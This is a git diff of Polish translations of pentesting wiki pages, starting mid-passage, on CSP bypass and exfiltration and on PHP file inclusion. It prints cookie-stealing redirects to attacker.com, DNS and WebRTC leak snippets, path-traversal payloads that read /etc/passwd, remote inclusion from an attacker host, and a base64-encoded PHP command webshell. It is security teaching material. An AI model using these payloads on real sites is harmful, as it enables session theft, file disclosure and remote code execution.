bookmarklet w przeglądarce**. Ten bookmarklet zawierałby **malicious javascript** code, który po przeciągnięciu i upuszczeniu lub kliknięciu zostanie wykonany w kontekście bieżącego okna przeglądarki, **omijając CSP i pozwalając na kradzież wrażliwych informacji** takich jak cookies lub tokens. For more information [**check the original report here**](https://socradar.io/csp-bypass-unveiled-the-hidden-threat-of-bookmarklets/). -### CSP bypass by restricting CSP +### Omijanie CSP przez ograniczenie CSP -In [**this CTF writeup**](https://github.com/google/google-ctf/tree/master/2023/web-biohazard/solution), CSP is bypassed by injecting inside an allowed iframe a more restrictive CSP that disallowed to load a specific JS file that, then, via **prototype pollution** or **dom clobbering** allowed to **abuse a different script to load an arbitrary script**. +W [**tym CTF writeup**](https://github.com/google/google-ctf/tree/master/2023/web-biohazard/solution), CSP jest obejściowe przez wstrzyknięcie wewnątrz dozwolonego iframe bardziej restrykcyjnego CSP, który zabraniał ładowania konkretnego pliku JS, co następnie poprzez **prototype pollution** lub **dom clobbering** pozwoliło **wykorzystać inny skrypt do załadowania dowolnego skryptu**. You can **restrict a CSP of an Iframe** with the **`csp`** attribute: ```html @@ -562,8 +563,8 @@ You can **restrict a CSP of an Iframe** with the **`csp`** attribute: src="https://biohazard-web.2023.ctfcompetition.com/view/[bio_id]" csp="script-src https://biohazard-web.2023.ctfcompetition.com/static/closure-library/ https://biohazard-web.2023.ctfcompetition.com/static/sanitizer.js https://biohazard-web.2023.ctfcompetition.com/static/main.js 'unsafe-inline' 'unsafe-eval'"> ``` -W [**this CTF writeup**](https://github.com/aszx87410/ctf-writeups/issues/48), możliwe było poprzez **HTML injection** dodatkowo **restrict** **CSP**, dzięki czemu skrypt zapobiegający CSTI został wyłączony i w konsekwencji **vulnerability became exploitable.**\ -CSP można uczynić bardziej restrykcyjnym używając **HTML meta tags**, a inline scripts można wyłączyć poprzez **removing** **entry** umożliwiający ich **nonce** i **enable specific inline script via sha**: +W [**this CTF writeup**](https://github.com/aszx87410/ctf-writeups/issues/48), było możliwe poprzez **HTML injection** dodatkowo **ograniczyć** **CSP**, w wyniku czego skrypt zapobiegający **CSTI** został wyłączony i w konsekwencji **luka stała się wykorzystywalna.**\ +CSP można uczynić bardziej restrykcyjnym za pomocą **HTML meta tags**, a inline scripts można wyłączyć poprzez **usunięcie** **wpisu** pozwalającego na ich **nonce** i umożliwiającego włączenie konkretnego inline script via **sha**: ```html ``` -### JS exfiltration z Content-Security-Policy-Report-Only +### JS exfiltration przy użyciu Content-Security-Policy-Report-Only -Jeśli uda ci się sprawić, że serwer odpowie nagłówkiem **`Content-Security-Policy-Report-Only`** z **wartością kontrolowaną przez ciebie** (np. z powodu CRLF), możesz sprawić, że będzie on wskazywał na twój serwer, a jeśli **opakujesz** **JS content**, który chcesz exfiltrate, w **`` — zwróć uwagę, że ten **script** zostanie **wczytany**, ponieważ jest **dozwolony przez 'self'**. Co więcej, i ponieważ WordPress jest zainstalowany, attacker może wykorzystać **SOME attack** przez podatny **callback** endpoint, który **bypasses the CSP**, aby nadać użytkownikowi większe uprawnienia, zainstalować nowy plugin...\ -For more information about how to perform this attack check [https://octagon.net/blog/2022/05/29/bypass-csp-using-wordpress-by-abusing-same-origin-method-execution/](https://octagon.net/blog/2022/05/29/bypass-csp-using-wordpress-by-abusing-same-origin-method-execution/) +Atakujący może wykorzystać ten endpoint do **wygenerowania SOME attack** przeciw WordPress i **osadzić** go wewnątrz `` — zauważ, że ten **script** zostanie **załadowany**, ponieważ jest **dozwolony przez 'self'**. Ponadto, skoro WordPress jest zainstalowany, atakujący może wykorzystać **SOME attack** przez podatny **callback** endpoint, który **omija CSP**, aby nadać użytkownikowi więcej uprawnień, zainstalować nowy plugin... +Dodatkowe informacje o wykonaniu tego ataku: [https://octagon.net/blog/2022/05/29/bypass-csp-using-wordpress-by-abusing-same-origin-method-execution/](https://octagon.net/blog/2022/05/29/bypass-csp-using-wordpress-by-abusing-same-origin-method-execution/) ## CSP Exfiltration Bypasses -If there is a strict CSP that doesn't allow you to **interact with external servers**, there are some things you can always do to exfiltrate the information. +Jeśli obowiązuje ścisła polityka CSP, która nie pozwala na **interakcję z zewnętrznymi serwerami**, są pewne metody, które zawsze możesz zastosować, aby wyeksfiltrować informacje. ### Location -You could just update the location to send to the attacker's server the secret information: +Możesz po prostu zaktualizować location, aby wysłać na serwer atakującego tajne informacje: ```javascript var sessionid = document.cookie.split("=")[1] + "." document.location = "https://attacker.com/?" + sessionid ``` -### Znacznik meta +### Meta tag -Możesz przekierować, wstrzykując znacznik meta (to jest tylko przekierowanie, to nie spowoduje leak zawartości) +Możesz przekierować, wstrzykując meta tag (to jest tylko przekierowanie, to nie spowoduje leak zawartości) ```html ``` ### DNS Prefetch -Aby szybciej ładować strony, przeglądarki będą wstępnie rozwiązywać nazwy hostów na adresy IP i buforować je do późniejszego użycia.\ +Aby szybciej ładować strony, przeglądarki będą wstępnie rozwiązywać nazwy hostów na adresy IP i zapisywać je w pamięci podręcznej do późniejszego użycia.\ Możesz wskazać przeglądarce, aby wstępnie rozwiązała nazwę hosta za pomocą: `` -Możesz nadużyć tego zachowania, aby **exfiltrate sensitive information via DNS requests**: +Można nadużyć tego zachowania, aby **exfiltrate sensitive information via DNS requests**: ```javascript var sessionid = document.cookie.split("=")[1] + "." var body = document.getElementsByTagName("body")[0] @@ -693,7 +694,7 @@ linkEl.rel = "prefetch" linkEl.href = urlWithYourPreciousData document.head.appendChild(linkEl) ``` -Aby temu zapobiec, serwer może wysłać nagłówek HTTP: +Aby temu zapobiec, serwer może wysłać HTTP header: ``` X-DNS-Prefetch-Control: off ``` @@ -704,7 +705,7 @@ X-DNS-Prefetch-Control: off Na kilku stronach można przeczytać, że **WebRTC nie sprawdza polityki `connect-src` w CSP**. -W rzeczywistości możesz _leak_ informacje używając _DNS request_. Sprawdź ten kod: +W rzeczywistości możesz _leak_ informacje używając _DNS request_. Zobacz ten kod: ```javascript ;(async () => { p = new RTCPeerConnection({ iceServers: [{ urls: "stun:LEAK.dnsbin" }] }) @@ -726,7 +727,7 @@ pc.createOffer().then((sdp)=>pc.setLocalDescription(sdp); ``` ### CredentialsContainer -Wyskakujące okienko poświadczeń wysyła zapytanie DNS do iconURL bez ograniczeń nałożonych przez stronę. Działa tylko w bezpiecznym kontekście (HTTPS) lub na localhost. +Wyskakujące okno z poświadczeniami wysyła zapytanie DNS do iconURL i nie jest ograniczane przez stronę. Działa tylko w kontekście bezpiecznym (HTTPS) lub na localhost. ```javascript navigator.credentials.store( new FederatedCredential({ diff --git a/src/pentesting-web/file-inclusion/README.md b/src/pentesting-web/file-inclusion/README.md index f5be73669..fe237f510 100644 --- a/src/pentesting-web/file-inclusion/README.md +++ b/src/pentesting-web/file-inclusion/README.md @@ -4,22 +4,22 @@ ## File Inclusion -**Remote File Inclusion (RFI):** Plik jest ładowany z serwera zdalnego (Najlepiej: możesz napisać kod i serwer go wykona). W php jest to **wyłączone** domyślnie (**allow_url_include**).\ +**Remote File Inclusion (RFI):** Plik jest ładowany z zewnętrznego serwera (Najlepiej: możesz napisać kod, a serwer go wykona). W php jest to domyślnie **wyłączone** (**allow_url_include**).\ **Local File Inclusion (LFI):** Serwer ładuje lokalny plik. -Luka występuje, gdy użytkownik w pewien sposób kontroluje plik, który ma zostać załadowany przez serwer. +Podatność występuje, gdy użytkownik w jakiś sposób kontroluje plik, który zostanie załadowany przez serwer. -Funkcje **PHP** podatne na atak: require, require_once, include, include_once +Podatne funkcje **PHP**: require, require_once, include, include_once -Ciekawe narzędzie do eksploatacji tej luki: [https://github.com/kurobeats/fimap](https://github.com/kurobeats/fimap) +Interesujące narzędzie do wykorzystania tej podatności: [https://github.com/kurobeats/fimap](https://github.com/kurobeats/fimap) -## Blind - Interesting - LFI2RCE files +## Blind - Interesujące - LFI2RCE pliki ```python wfuzz -c -w ./lfi2.txt --hw 0 http://10.10.10.10/nav.php?page=../../../../../../../FUZZ ``` ### **Linux** -**Mieszając kilka \*nix list LFI i dodając więcej ścieżek stworzyłem tę:** +**Łącząc kilka \*nix LFI list i dodając więcej ścieżek, stworzyłem tę:** {{#ref}} @@ -29,7 +29,7 @@ https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/file_inclusion Spróbuj także zamienić `/` na `\`\ Spróbuj także dodać `../../../../../` -Lista, która używa kilku technik do znalezienia pliku /etc/password (aby sprawdzić, czy luka istnieje) znajduje się [tutaj](https://github.com/xmendez/wfuzz/blob/master/wordlist/vulns/dirTraversal-nix.txt) +Lista, która używa kilku technik do znalezienia pliku /etc/password (aby sprawdzić, czy podatność istnieje) znajduje się [here](https://github.com/xmendez/wfuzz/blob/master/wordlist/vulns/dirTraversal-nix.txt) ### **Windows** @@ -43,11 +43,11 @@ https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/file_inclusion Spróbuj także zamienić `/` na `\`\ Spróbuj także usunąć `C:/` i dodać `../../../../../` -Lista, która używa kilku technik do znalezienia pliku /boot.ini (aby sprawdzić, czy luka istnieje) znajduje się [tutaj](https://github.com/xmendez/wfuzz/blob/master/wordlist/vulns/dirTraversal-win.txt) +Lista, która używa kilku technik do znalezienia pliku /boot.ini (aby sprawdzić, czy podatność istnieje) znajduje się [here](https://github.com/xmendez/wfuzz/blob/master/wordlist/vulns/dirTraversal-win.txt) ### **OS X** -Sprawdź listę LFI linux. +Sprawdź listę LFI dla Linux. ## Podstawowe LFI i obejścia @@ -55,7 +55,7 @@ Wszystkie przykłady dotyczą Local File Inclusion, ale mogą być również zas ``` http://example.com/index.php?page=../../../etc/passwd ``` -### sekwencje traversal usuwane nierekurencyjnie +### traversal sequences usuwane nierekurencyjnie ```python http://example.com/index.php?page=....//....//....//etc/passwd http://example.com/index.php?page=....\/....\/....\/etc/passwd @@ -63,7 +63,7 @@ http://some.domain.com/static/%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c/etc/passwd ``` ### **Null byte (%00)** -Bypass dodawania dodatkowych znaków na końcu podanego ciągu (bypass of: $\_GET\['param']."php") +Bypass dopisywania dodatkowych znaków na końcu podanego ciągu (bypass of: $\_GET\['param']."php") ``` http://example.com/index.php?page=../../../etc/passwd%00 ``` @@ -71,51 +71,51 @@ To zostało **rozwiązane od PHP 5.4** ### **Kodowanie** -Możesz użyć niestandardowych kodowań, takich jak double URL encode (i inne): +Możesz użyć niestandardowych enkodowań, takich jak double URL encode (i inne): ``` http://example.com/index.php?page=..%252f..%252f..%252fetc%252fpasswd http://example.com/index.php?page=..%c0%af..%c0%af..%c0%afetc%c0%afpasswd http://example.com/index.php?page=%252e%252e%252fetc%252fpasswd http://example.com/index.php?page=%252e%252e%252fetc%252fpasswd%00 ``` -### Z istniejącego folderu +### Z istniejącego katalogu -Może back-end sprawdza ścieżkę folderu: +Może back-end sprawdza ścieżkę katalogu: ```python http://example.com/index.php?page=utils/scripts/../../../../../etc/passwd ``` -### Eksploracja katalogów systemu plików na serwerze +### Badanie katalogów systemu plików na serwerze -System plików serwera można eksplorować rekurencyjnie, aby zidentyfikować katalogi, nie tylko pliki, stosując określone techniki. Proces ten obejmuje ustalenie głębokości katalogu oraz sprawdzanie istnienia konkretnych folderów. Poniżej znajduje się szczegółowa metoda, jak to osiągnąć: +System plików serwera można przeszukiwać rekurencyjnie, aby zidentyfikować katalogi, nie tylko pliki, stosując określone techniki. Proces ten polega na ustaleniu głębokości katalogu i sprawdzaniu istnienia konkretnych folderów. Poniżej znajduje się szczegółowa metoda, jak to osiągnąć: -1. **Określ głębokość katalogu:** Ustal głębokość bieżącego katalogu przez pomyślne pobranie pliku `/etc/passwd` (dotyczy, jeśli serwer działa pod Linux). Przykładowy URL może być zbudowany w następujący sposób, wskazując głębokość równą trzem: +1. **Determine Directory Depth:** Ustal głębokość bieżącego katalogu, skutecznie pobierając plik `/etc/passwd` (dotyczy serwerów opartych na Linux). Przykładowy URL może być zbudowany następująco, wskazując głębokość równą trzy: ```bash http://example.com/index.php?page=../../../etc/passwd # depth of 3 ``` -2. **Skanuj katalogi:** Dołącz nazwę podejrzanego folderu (np. `private`) do URL, a następnie wróć do `/etc/passwd`. Dodatkowy poziom katalogu wymaga zwiększenia głębokości o jeden: +2. **Skanuj foldery:** Dodaj nazwę podejrzanego folderu (np. `private`) do URL, a następnie wróć do `/etc/passwd`. Dodatkowy poziom katalogu wymaga zwiększenia depth o jeden: ```bash http://example.com/index.php?page=private/../../../../etc/passwd # depth of 3+1=4 ``` -3. **Zinterpretuj wyniki:** Odpowiedź serwera wskazuje, czy folder istnieje: -- **Błąd / Brak wyjścia:** Folder `private` prawdopodobnie nie istnieje w określonej lokalizacji. -- **Zawartość `/etc/passwd`:** Potwierdza to obecność folderu `private`. -4. **Eksploracja rekurencyjna:** Odnalezione foldery można dalej badać w poszukiwaniu podkatalogów lub plików, używając tej samej techniki lub tradycyjnych metod Local File Inclusion (LFI). +3. **Zinterpretuj wyniki:** Odpowiedź serwera wskazuje, czy katalog istnieje: +- **Błąd / Brak wyjścia:** Katalog `private` prawdopodobnie nie istnieje w podanej lokalizacji. +- **Zawartość `/etc/passwd`:** Obecność katalogu `private` zostaje potwierdzona. +4. **Rekurencyjne badanie:** Odkryte katalogi można dalej sprawdzać pod kątem podkatalogów lub plików używając tej samej techniki lub tradycyjnych Local File Inclusion (LFI). -Dla eksploracji katalogów w innych lokalizacjach systemu plików, dostosuj payload odpowiednio. Na przykład, aby sprawdzić czy `/var/www/` zawiera katalog `private` (zakładając, że bieżący katalog jest na głębokości 3), użyj: +Aby przeszukać katalogi w innych miejscach systemu plików, dostosuj payload odpowiednio. Na przykład, żeby sprawdzić czy `/var/www/` zawiera katalog `private` (zakładając, że bieżący katalog jest na głębokości 3), użyj: ```bash http://example.com/index.php?page=../../../var/www/private/../../../etc/passwd ``` ### **Path Truncation Technique** -Path truncation jest metodą stosowaną do manipulowania ścieżkami plików w aplikacjach webowych. Często wykorzystywana jest do uzyskania dostępu do plików objętych ograniczeniami przez obejście pewnych mechanizmów bezpieczeństwa, które dopisują dodatkowe znaki na końcu ścieżek plików. Celem jest skonstruowanie ścieżki pliku, która po zmianie przez mechanizm bezpieczeństwa nadal wskazuje żądany plik. +Path truncation jest metodą stosowaną do manipulowania ścieżkami plików w aplikacjach webowych. Często używana do uzyskania dostępu do plików objętych ograniczeniami przez obejście pewnych zabezpieczeń, które dopisują dodatkowe znaki na końcu ścieżek plików. Celem jest stworzenie ścieżki pliku, która po zmodyfikowaniu przez mechanizm bezpieczeństwa nadal wskazuje na żądany plik. -W PHP różne reprezentacje ścieżki pliku mogą być traktowane jako równoważne ze względu na charakter systemu plików. Na przykład: +W PHP różne reprezentacje ścieżki pliku mogą być traktowane jako równoważne ze względu na sposób działania systemu plików. Na przykład: -- `/etc/passwd`, `/etc//passwd`, `/etc/./passwd`, and `/etc/passwd/` are all treated as the same path. +- `/etc/passwd`, `/etc//passwd`, `/etc/./passwd`, oraz `/etc/passwd/` są traktowane jako ta sama ścieżka. - Gdy ostatnie 6 znaków to `passwd`, dopisanie `/` (tworząc `passwd/`) nie zmienia docelowego pliku. -- Podobnie, jeśli do ścieżki pliku dopisano `.php` (np. `shellcode.php`), dodanie `/.` na końcu nie zmieni pliku, do którego następuje dostęp. +- Podobnie, jeśli do ścieżki pliku dopisane jest `.php` (np. `shellcode.php`), dodanie `/.` na końcu nie zmieni pliku, do którego uzyskujemy dostęp. -Poniższe przykłady pokazują, jak wykorzystać path truncation do uzyskania dostępu do `/etc/passwd`, częstego celu ze względu na jego poufną zawartość (informacje o kontach użytkowników): +Poniższe przykłady pokazują, jak wykorzystać path truncation do uzyskania dostępu do `/etc/passwd`, częstego celu ze względu na jego wrażliwe dane (informacje o kontach użytkowników): ``` http://example.com/index.php?page=a/../../../../../../../../../etc/passwd......[ADD MORE].... http://example.com/index.php?page=a/../../../../../../../../../etc/passwd/././.[ADD MORE]/././. @@ -125,11 +125,11 @@ http://example.com/index.php?page=a/../../../../../../../../../etc/passwd/././.[ http://example.com/index.php?page=a/./.[ADD MORE]/etc/passwd http://example.com/index.php?page=a/../../../../[ADD MORE]../../../../../etc/passwd ``` -W tych scenariuszach liczba potrzebnych traversals może wynosić około 2027, ale ta wartość może się różnić w zależności od konfiguracji serwera. +W tych scenariuszach liczba potrzebnych sekwencji `../` może wynosić około 2027, ale liczba ta może się różnić w zależności od konfiguracji serwera. -- **Using Dot Segments and Additional Characters**: Sekwencje traversal (`../`) w połączeniu z dodatkowymi dot segments i znakami można użyć do nawigacji po systemie plików, co pozwala efektywnie zignorować przez serwer dołączone ciągi znaków. -- **Determining the Required Number of Traversals**: Poprzez metodę prób i błędów można ustalić dokładną liczbę sekwencji `../` potrzebną do dotarcia do katalogu root, a następnie do `/etc/passwd`, upewniając się, że wszelkie dołączone ciągi (np. `.php`) są zneutralizowane, ale żądana ścieżka (`/etc/passwd`) pozostaje nienaruszona. -- **Starting with a Fake Directory**: Częstą praktyką jest zaczynanie ścieżki od nieistniejącego katalogu (np. `a/`). Technika ta jest stosowana jako środek ostrożności lub aby spełnić wymagania logiki parsowania ścieżek serwera. +- **Using Dot Segments and Additional Characters**: Sekwencje `../` połączone z dodatkowymi segmentami kropkowymi i znakami mogą być użyte do nawigacji po systemie plików, skutecznie ignorując dołączone przez serwer ciągi. +- **Determining the Required Number of Traversals**: Metodą prób i błędów można ustalić dokładną liczbę sekwencji `../` potrzebną do dotarcia do katalogu root, a następnie do `/etc/passwd`, upewniając się, że wszelkie dołączone ciągi (np. `.php`) zostaną zneutralizowane, a pożądana ścieżka (`/etc/passwd`) pozostanie nienaruszona. +- **Starting with a Fake Directory**: Częstą praktyką jest rozpoczynanie ścieżki od nieistniejącego katalogu (np. `a/`). Technika ta jest stosowana jako środek ostrożności lub by spełnić wymagania logiki parsowania ścieżek serwera. When employing path truncation techniques, it's crucial to understand the server's path parsing behavior and filesystem structure. Each scenario might require a different approach, and testing is often necessary to find the most effective method. @@ -145,30 +145,30 @@ http://example.com/index.php?page=PhP://filter ``` ## Remote File Inclusion -W php jest to domyślnie wyłączone, ponieważ **`allow_url_include`** jest **Off.** Musi być **On**, aby to działało — w takim przypadku możesz include'ować plik PHP z twojego serwera i uzyskać RCE: +W PHP jest to domyślnie wyłączone, ponieważ **`allow_url_include`** jest **Off.** Musi być **On**, żeby to działało, i w takim przypadku możesz dołączyć plik PHP z twojego serwera i uzyskać RCE: ```python http://example.com/index.php?page=http://atacker.com/mal.php http://example.com/index.php?page=\\attacker.com\shared\mal.php ``` -Jeśli z jakiegoś powodu **`allow_url_include`** jest **On**, ale PHP **filtruje** dostęp do zewnętrznych stron internetowych, [według tego posta](https://matan-h.com/one-lfi-bypass-to-rule-them-all-using-base64/), można na przykład użyć protokołu data z base64, aby zdekodować b64 PHP code i uzyskać RCE: +Jeśli z jakiegoś powodu **`allow_url_include`** jest **On**, ale PHP **filtruje** dostęp do zewnętrznych stron, [zgodnie z tym postem](https://matan-h.com/one-lfi-bypass-to-rule-them-all-using-base64/), możesz użyć np. protokołu data z base64, aby zdekodować b64 kod PHP i egt RCE: ``` PHP://filter/convert.base64-decode/resource=data://plain/text,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+.txt ``` > [!TIP] -> W poprzednim kodzie końcowy `+.txt` został dodany, ponieważ attacker potrzebował ciągu kończącego się na `.txt`, więc ciąg kończy się tą częścią, a po b64 decode ta część zwróci tylko śmieci, a prawdziwy kod PHP zostanie dołączony (i w konsekwencji wykonany). +> W poprzednim kodzie końcowe `+.txt` zostało dodane, ponieważ atakujący potrzebował ciągu kończącego się na `.txt`, więc ciąg kończy się tym, a po b64 decode ta część zwróci tylko śmieci, a prawdziwy kod PHP zostanie dołączony (a zatem wykonany). -Inny przykład **nie używający protokołu `php://`** byłby: +Inny przykład **nie używający protokołu `php://`** wyglądałby tak: ``` data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+txt ``` -## Python — element główny +## Python Root element -W Pythonie w kodzie takim jak poniższy: +W Pythonie w kodzie takim jak ten: ```python # file_name is controlled by a user os.path.join(os.getcwd(), "public", file_name) ``` -Jeśli użytkownik poda **absolute path** do **`file_name`**, **poprzednia ścieżka zostaje usunięta**: +Jeśli użytkownik poda **ścieżkę bezwzględną** do **`file_name`**, **poprzednia ścieżka jest po prostu usuwana**: ```python os.path.join(os.getcwd(), "public", "/etc/passwd") '/etc/passwd' @@ -177,13 +177,13 @@ To zamierzone zachowanie zgodnie z [the docs](https://docs.python.org/3.10/libra > Jeżeli komponent jest ścieżką absolutną, wszystkie poprzednie komponenty są odrzucane i łączenie kontynuuje się od komponentu będącego ścieżką absolutną. -## Java — listowanie katalogów +## Listowanie katalogów w Java -Wygląda na to, że jeśli masz Path Traversal w Java i **poprosisz o katalog** zamiast pliku, zwracana jest **lista zawartości katalogu**. To nie będzie się zdarzać w innych językach (o ile wiem). +Wygląda na to, że jeśli masz Path Traversal w Java i **poprosisz o katalog** zamiast pliku, to **zostanie zwrócone listowanie katalogu**. To nie będzie się dziać w innych językach (o ile wiem). ## Top 25 parametrów -Poniżej lista 25 najważniejszych parametrów, które mogą być podatne na local file inclusion (LFI) (z [link](https://twitter.com/trbughunters/status/1279768631845494787)): +Oto lista 25 parametrów, które mogą być podatne na local file inclusion (LFI) (pochodzące z [link](https://twitter.com/trbughunters/status/1279768631845494787)): ``` ?cat={payload} ?dir={payload} @@ -211,27 +211,27 @@ Poniżej lista 25 najważniejszych parametrów, które mogą być podatne na loc ?mod={payload} ?conf={payload} ``` -## LFI / RFI przy użyciu PHP wrapperów i protokołów +## LFI / RFI using PHP wrappers & protocols ### php://filter -PHP filters umożliwiają wykonywanie podstawowych **operacji modyfikacji danych** zanim zostaną odczytane lub zapisane. Istnieje 5 kategorii filtrów: +PHP filters pozwalają wykonać podstawowe **operacje modyfikacji na danych** przed ich odczytem lub zapisem. Istnieje 5 kategorii filtrów: - [String Filters](https://www.php.net/manual/en/filters.string.php): - `string.rot13` - `string.toupper` - `string.tolower` -- `string.strip_tags`: Usuwa tagi z danych (wszystko pomiędzy znakami "<" i ">") -- Należy zauważyć, że ten filtr zniknął w nowoczesnych wersjach PHP +- `string.strip_tags`: Remove tags from the data (everything between "<" and ">" chars) +- Zauważ, że ten filtr zniknął w nowoczesnych wersjach PHP - [Conversion Filters](https://www.php.net/manual/en/filters.convert.php) - `convert.base64-encode` - `convert.base64-decode` - `convert.quoted-printable-encode` - `convert.quoted-printable-decode` -- `convert.iconv.*` : Konwertuje na inne kodowanie (`convert.iconv..`). Aby uzyskać **listę wszystkich obsługiwanych kodowań**, uruchom w konsoli: `iconv -l` +- `convert.iconv.*` : Transforms to a different encoding(`convert.iconv..`) . Aby uzyskać **listę wszystkich obsługiwanych kodowań** uruchom w konsoli: `iconv -l` > [!WARNING] -> Nadużywając filtru konwersji `convert.iconv.*` możesz **wygenerować dowolny tekst**, co może być przydatne do zapisania dowolnego tekstu lub sprawienia, że funkcje takie jak include będą przetwarzać dowolny tekst. For more info check [**LFI2RCE via php filters**](lfi2rce-via-php-filters.md). +> Nadużywając filtra konwersji `convert.iconv.*` możesz **wygenerować dowolny tekst**, co może być przydatne do zapisania dowolnego tekstu lub sprawienia, by funkcja taka jak include przetwarzała dowolny tekst. Dla więcej informacji sprawdź [**LFI2RCE via php filters**](lfi2rce-via-php-filters.md). - [Compression Filters](https://www.php.net/manual/en/filters.compression.php) - `zlib.deflate`: Compress the content (useful if exfiltrating a lot of info) @@ -240,7 +240,7 @@ PHP filters umożliwiają wykonywanie podstawowych **operacji modyfikacji danych - `mcrypt.*` : Deprecated - `mdecrypt.*` : Deprecated - Inne filtry -- Uruchamiając w php `var_dump(stream_get_filters());` możesz znaleźć kilka **nieoczekiwanych filtrów**: +- Uruchamiając w PHP `var_dump(stream_get_filters());` możesz znaleźć kilka **nieoczekiwanych filtrów**: - `consumed` - `dechunk`: reverses HTTP chunked encoding - `convert.*` @@ -271,48 +271,39 @@ readfile('php://filter/zlib.inflate/resource=test.deflated'); #To decompress the # note that PHP protocol is case-inselective (that's mean you can use "PhP://" and any other varient) ``` > [!WARNING] -> Część "php://filter" nie rozróżnia wielkości liter +> Część "php://filter" jest nieczuła na wielkość liter -### Użycie php filters jako oracle do odczytu dowolnych plików +### Using php filters as oracle to read arbitrary files -[**W tym poście**](https://www.synacktiv.com/publications/php-filter-chains-file-read-from-error-based-oracle) zaproponowano technikę odczytu pliku lokalnego bez zwracania jego zawartości przez serwer. Technika ta opiera się na booleanowej eksfiltracji pliku (znak po znaku) z użyciem php filters jako oracle. Dzieje się tak, ponieważ php filters mogą być użyte do powiększenia tekstu na tyle, żeby php rzucił wyjątek. +[**In this post**](https://www.synacktiv.com/publications/php-filter-chains-file-read-from-error-based-oracle) zaproponowano technikę umożliwiającą odczyt lokalnego pliku bez zwracania jego zawartości przez serwer. Technika ta opiera się na **boolean exfiltration of the file (char by char) using php filters** as oracle. Wynika to z faktu, że php filters mogą być użyte do powiększenia tekstu na tyle, by php zgłosił wyjątek. -W oryginalnym poście znajdziesz szczegółowe wyjaśnienie techniki, poniżej krótkie podsumowanie: +W oryginalnym poście znajdziesz szczegółowe wyjaśnienie techniki, poniżej krótka podsumowanie: - Use the codec **`UCS-4LE`** to leave leading character of the text at the begging and make the size of string increases exponentially. - - Użyj kodeka **`UCS-4LE`**, aby pozostawić początkowy znak tekstu na początku i sprawić, że rozmiar ciągu będzie wzrastał wykładniczo. -- This will be used to generate a **text so big when the initial letter is guessed correctly** that php will trigger an **error** - - Posłuży to do wygenerowania **tekstu tak dużego, że gdy początkowa litera zostanie zgadnięta poprawnie**, php wywoła **błąd**. +- This will be used to generate a **text so big when the initial letter is guessed correctly** that php will trigger an **błąd** - The **dechunk** filter will **remove everything if the first char is not an hexadecimal**, so we can know if the first char is hex. - - Filtr **dechunk** **usunie wszystko, jeśli pierwszy znak nie jest szesnastkowy**, dzięki czemu możemy stwierdzić, czy pierwszy znak jest hex. -- This, combined with the previous one (and other filters depending on the guessed letter), will allow us to guess a letter at the beggining of the text by seeing when we do enough transformations to make it not be an hexadecimal character. Because if hex, dechunk won't delete it and the initial bomb will make php error. - - To, w połączeniu z powyższym (i innymi filtrami zależnymi od zgadywanej litery), pozwoli nam zgadnąć literę na początku tekstu poprzez obserwację, kiedy wykonamy wystarczającą liczbę transformacji, aby przestała być znakiem heksadecymalnym. Jeśli jest hex, dechunk jej nie usunie i początkowa bomba spowoduje błąd PHP. +- To, w połączeniu z poprzednim (i innymi filtrami zależnymi od zgadywanej litery), pozwoli nam odgadnąć literę na początku tekstu, obserwując moment, w którym wykonamy wystarczająco wiele transformacji, aby przestała być znakiem szesnastkowym. Jeśli jest hex, dechunk go nie usunie, a początkowa bomba spowoduje błąd php. - The codec **convert.iconv.UNICODE.CP930** transforms every letter in the following one (so after this codec: a -> b). This allow us to discovered if the first letter is an `a` for example because if we apply 6 of this codec a->b->c->d->e->f->g the letter isn't anymore a hexadecimal character, therefore dechunk doesn't deleted it and the php error is triggered because it multiplies with the initial bomb. - - Kodek **convert.iconv.UNICODE.CP930** zamienia każdą literę na kolejną (więc po tym kodeku: a -> b). Pozwala to odkryć, czy pierwsza litera to np. `a`, ponieważ jeśli zastosujemy ten kodek 6 razy: a->b->c->d->e->f->g, litera przestaje być znakiem szesnastkowym — dechunk jej nie usuwa, a błąd PHP zostaje wywołany w połączeniu z początkową bombą. -- Using other transformations like **rot13** at the beginning it’s possible to leak other chars like n, o, p, q, r (and other codecs can be used to move other letters to the hex range). - - Używając innych transformacji, takich jak **rot13** na początku, możliwe jest leak innych znaków, np. n, o, p, q, r (i inne kodeki można użyć, aby przesunąć inne litery do zakresu hex). -- When the initial char is a number it’s needed to base64 encode it and leak the 2 first letters to leak the number. - - Gdy początkowy znak jest cyfrą, należy zakodować go base64 i leak pierwsze 2 litery, aby ujawnić cyfrę. +- Używając innych transformacji jak **rot13** na początku, możliwe jest leak innych znaków takich jak n, o, p, q, r (i inne kodeki mogą być użyte do przesunięcia innych liter do zakresu hex). +- Kiedy początkowy znak jest cyfrą, trzeba go zakodować base64 i leak pierwsze 2 litery, aby leakować tę cyfrę. - The final problem is to see **how to leak more than the initial letter**. By using order memory filters like **convert.iconv.UTF16.UTF-16BE, convert.iconv.UCS-4.UCS-4LE, convert.iconv.UCS-4.UCS-4LE** is possible to change the order of the chars and get in the first position other letters of the text. - - Ostatecznym problemem jest ustalenie, **how to leak more than the initial letter**. Używając filtrów zmieniających kolejność bajtów (order memory filters), takich jak **convert.iconv.UTF16.UTF-16BE, convert.iconv.UCS-4.UCS-4LE, convert.iconv.UCS-4.UCS-4LE**, można zmienić porządek znaków i umieścić na pierwszej pozycji inne litery tekstu. -- And in order to be able to obtain **further data** the idea if to **generate 2 bytes of junk data at the beginning** with **convert.iconv.UTF16.UTF16**, apply **UCS-4LE** to make it **pivot with the next 2 bytes**, and d**elete the data until the junk data** (this will remove the first 2 bytes of the initial text). Continue doing this until you reach the disired bit to leak. - - Aby móc uzyskać **further data**, pomysł polega na **wygenerowaniu 2 bajtów śmieci na początku** przy użyciu **convert.iconv.UTF16.UTF16**, zastosowaniu **UCS-4LE**, aby je **pivot with the next 2 bytes**, oraz **usunąć dane aż do danych-śmieci** (to usunie pierwsze 2 bajty początkowego tekstu). Kontynuuj to, aż dojdziesz do żądanego bitu do leak. +- A żeby móc uzyskać **further data** pomysł polega na **wygenerowaniu 2 bajtów śmieci na początku** za pomocą **convert.iconv.UTF16.UTF16**, zastosowaniu **UCS-4LE** aby je **pivot with the next 2 bytes**, oraz **usuń dane aż do junk data** (to usunie pierwsze 